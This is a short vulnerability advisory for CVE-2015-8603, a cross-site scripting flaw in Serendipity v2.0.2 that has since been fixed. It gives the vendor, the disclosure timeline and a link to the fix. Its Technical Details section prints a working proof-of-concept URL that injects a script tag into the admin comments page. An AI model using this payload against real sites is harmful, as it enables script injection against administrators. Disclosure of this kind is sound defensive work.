Cross-site Scripting Vulnerability Identified in Serendipity

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Serendipity
Affected Software: Serendipity
Affected Versions: v2.0.2 and possibly below
Vendor Homepage: http://www.s9y.org  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-8603
Invicti Advisory Reference: NS-15-024

Technical Details

Proof of Concept URL for XSS in Serendipity v2.0.2:

/serendipity/serendipity_admin.php?serendipity[action]=admin&serendipity[adminModule]=comments&serendipity[adminAction]=edit&serendipity[id]=2&serendipity[entry_id]='"--></style></scRipt><scRipt>alert(0x000EEA)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

07/12/2015 – First Contact
17/12/2015 – Vendor Fixed
05/01/2016 – Advisory Released

Solution

http://blog.s9y.org/archives/266-Serendipity-2.0.3-released.html

Credits & Authors

These issues have been discovered by Selçuk Mıynat while testing Invicti Web Application Security Scanner.

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